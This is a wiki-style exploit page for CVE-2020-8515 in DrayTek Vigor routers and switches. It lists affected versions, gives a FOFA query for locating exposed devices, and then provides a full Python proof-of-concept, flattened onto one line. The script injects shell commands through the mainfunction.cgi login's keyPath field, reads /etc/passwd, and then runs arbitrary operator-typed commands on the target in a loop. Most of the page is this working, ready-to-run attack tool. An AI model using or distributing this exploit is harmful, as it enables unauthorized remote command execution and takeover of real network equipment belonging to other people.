# CVE-2020-8515 DrayTek企業網絡設備 遠程命令執行漏洞/uk
== Вплив вразливості ==
Vigor2960 < v1.5.1 Vigor300B < v1.5.1 Vigor3900 < v1.5.1 VigorSwitch20P2121 <= v2.3.2 VigorSwitch20G1280 <= v2.3.2 VigorSwitch20P1280 <= v2.3.2 VigorSwitch20G2280 <= v2.3.2 VigorSwitch20P2280 <= v2.3.2
==FOFA==
title="Vigor 2960"
==POC==
import requests import sys import random import re from requests.packages.urllib3.exceptions import InsecureRequestWarning def title(): print('+------------------------------------------') print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m') print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m') print('+ \033[34m公众号 : PeiQi文库 \033[0m') print('+ \033[34mVersion: DrayTek企业网络设备 \033[0m') print('+ \033[36m使用格式: python3 poc.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m') print('+ \033[36mCmd >>> pwd \033[0m') print('+------------------------------------------') def POC_1(target_url): vuln_url = target_url + "/cgi-bin/mainfunction.cgi" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", } data = "action=login&keyPath=%27%0A%2fbin%2fcat${IFS}/etc/passwd%0A%27&loginUser=a&loginPwd=a" try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5) print("\033[32m[o] 正在请求 {}/cgi-bin/mainfunction.cgi \033[0m".format(target_url)) if "root" in response.text and response.status_code == 200: print("\033[32m[o] 目标 {}存在漏洞 ,成功读取 /etc/passwd \033[0m".format(target_url)) print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text)) while True: Cmd = input("\033[35mCmd >>> \033[0m") if Cmd == "exit": sys.exit(0) else: POC_2(target_url, Cmd) else: print("\033[31m[x] 不存在漏洞 \033[0m") sys.exit(0) except Exception as e: print("\033[31m[x] 请求失败 \033[0m", e) sys.exit(0) def POC_2(target_url, Cmd): vuln_url = target_url + "/cgi-bin/mainfunction.cgi" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", } Cmd = Cmd.replace(' ','${IFS}') data = "action=login&keyPath=%27%0A%2fbin%2f%26{}%0A%27&loginUser=a&loginPwd=a".format(Cmd) try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5) if response.status_code == 200: print("\033[32m[o] 正在请求 {}/cgi-bin/mainfunction.cgi \033[0m".format(target_url)) print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text)) except Exception as e: print("\033[31m[x] 请求失败 \033[0m", e) if __name__ == '__main__': title() target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) POC_1(target_url)
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